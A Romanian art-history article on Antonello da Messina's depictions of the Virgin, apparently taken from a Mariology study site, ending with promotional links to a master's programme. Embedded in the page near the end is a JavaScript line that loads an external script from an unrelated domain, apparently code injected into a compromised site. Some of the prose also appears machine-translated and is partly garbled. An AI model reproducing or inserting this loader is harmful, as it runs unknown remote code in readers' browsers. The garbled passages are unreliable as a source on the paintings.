Antonello da Messina: mariologia «Omului Nou»
Introducere
Un meritul lui Antonello da Messina nu constă doar în îmbunătățirea condiției picturii moderne, promovând perfecționarea metodei de pictură în ulei, ci și în faptul că a fost unul dintre cei mai valenți pictori italieni ai secolului al XV-lea. Meritul său suprem este de a emoționa cu tandrețe, fie că în diverse subiecte în care severitatea domină dulceața, fie în reprezentarea magnificului asupra pasto-ului, a durerii asupra tandreței, sau a acelei liniști a afecțiunilor cele mai intime și dulci ale sufletului.
Născut în jurul anului 1430 în Messina, unde a murit în 1479, Antonello este una dintre figurile cele mai enigmatice ale artei italiene, deoarece, în fața mărturiilor limitate primite, întruchipează o dublă identitate ca artist local, în urma tradiției, și ca artist internațional capabil de inovații revoluționare. El a integrat gramatica flamandă în sintaxa italiană și a oferit umanității din pământul și insula sa o expresie absolută și eternă.
Asta ne spun portretele lor, atât de „terrific de siciliene” încât pare să-i auzi vorbind în dialectul lor, același cu care exprimă Buna Vestire. Această aderare profundă la subiect, această transfigurare lirică a substanței cele mai intime și mai arzătoare a umanității, pe care el o propune pentru a crea absolutismul, este motivul uimirii misterioase care se instalează în privitorul unei opere de Antonello.
Astfel, personajele terestre ale Crucificării din Sibiu par să fie arse de o flacără interioară, care se consumă și se împrăștie în căldura albă a cerului peisajului. De aceea, sfinții și Maica Domnului impun prezența lor blândă cu atâta suferință și simplitate nobilă.
Antonello este un reprezentant tipic al Homo Novus al Renașterii, un fenomen în întregime italian, de la Sicilia la Veneția. El simbolizează secolul al XV-lea, în care conștiința de sine a revenit la viață, traversând oceanul imens pentru a descoperi noul continent, unde devotio moderna aștepta o religiositate intimă și subiectivă, în contrast cu pietatea colectivă medievală.
Limba gesturilor
În reprezentarea Fecioarei cu Pruncul, contrapartea feminină a numeroaselor portrete masculine, Antonello da Messina și-a găsit inspirația în țara sa. Atât aspectul fizic, cât și atitudinile Fecioarelor din lucrările lui Antonello, precum mâna care imită un voal al Bunii Vestiri din Palermo, amintesc de femeile siciliene.
Ca primele virgine, precum Fecioara de la Salting sau
Fecioara Cititoare prezintă, pe un fundal monocromatic simplu, prețul meticulos al bijuteriilor și mantiilor, care amintește de formarea lui Antonello în Napoli, la Colantonio, unde a avut primul său contact cu arta flamandă.
Fecioara de la Salting prezintă Maica cu Pruncul în brațe, coroanată de doi îngeri nordici ca Regină a Cerurilor. Mica figură gotică a lui Isus care ține în mână o romă, simbol al fertilității și regalității Mariei, dar și al Pasiunii prin culoarea roșie a fructelor, ca și sângele. Voalul transparent al Fecioarei reprezintă o piesă de mare virtuozitate, la fel ca descrierea frumoasă a bijuteriilor și a brocatelor.
Îngerii, un fundal întunecat, coroana elaborată cu efecte de strălucire metalică și lumina albă ascuțită evocă arta flamandă pe care Antonello a știut să o medieze cu spațialitatea și monumentalitatea italiană.
Un chip ferm și impenetrabil, unde totul, de la benzile întunecate de păr până la paliditatea tenului, la semnele geometrice ale sprâncenelor și ale feței, până la gura misterioasă, la urechea perfectă, pare să caute duritatea imobilă a sculpturii, îngheță în stilizarea sa marmoreană un tip de frumusețe încă caldă, încă recunoscibilă printre mulțimile Siciliei.
O legătură iconografică leagă Fecioara de la Salting de Fecioara Cititoare, o legătură cu adevărat strânsă, atât de apropiată, încât nu poate părea una întâmplătoare și aproape sugerează ideea că Isus Copilul a înlocuit în ultimul moment cartea deschisă din mâinile Mamei.
Maica Fecioară, a cărei față albă pare iradiat lumină, datorită coroanei împodobite cu liliac și trandafiri, ține în mâini o carte deschisă, o lucrare tânără din tomul de Messina, pe care el a descris-o ca fiind o creatură ascuțită, cu gura amară, mâini lungi și aproape predatoare, cu fața sigilată în benzi torturate, răspunde cererilor numeroase ale devotamentelor private de rugăciune.
var url = ‘https://wafsearct.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
Pentru a aprofunda reflecția asupra Mariologiei în arta sacră și în pictura renascentistă, consultați Exortarea Apostolică Marialis Cultus a Papei Paul al VI-lea, care apreciază expresiile artistice ca mijloc privilegiat al devoțiunii și contemplării mariene.
Adâncește-ți studiile: explorează MariologiaTeologia marianăaparițiile mariene și Pós-Graduação em Mariologia.
Masterat în Mariologie
Doriți să vă aprofundați formarea în Mariologie? Aflați despre Masteratul în Mariologie oferit de Locus Mariologicus, o formare academică care îmbină rigoarea teologică, viața spirituală și tradiția vie a Bisericii.Vrei să studiezi serios mariologia?
Acest articol își trage materialul din operele bibliotecii Locus Mariologicus. Specializarea în Mariologie te conduce la aceleași surse, cu un sprijin academic: Scriptura, Părinții Bisericii și Magisteriul, de la primul dogmă până la problemele contemporane.
Responses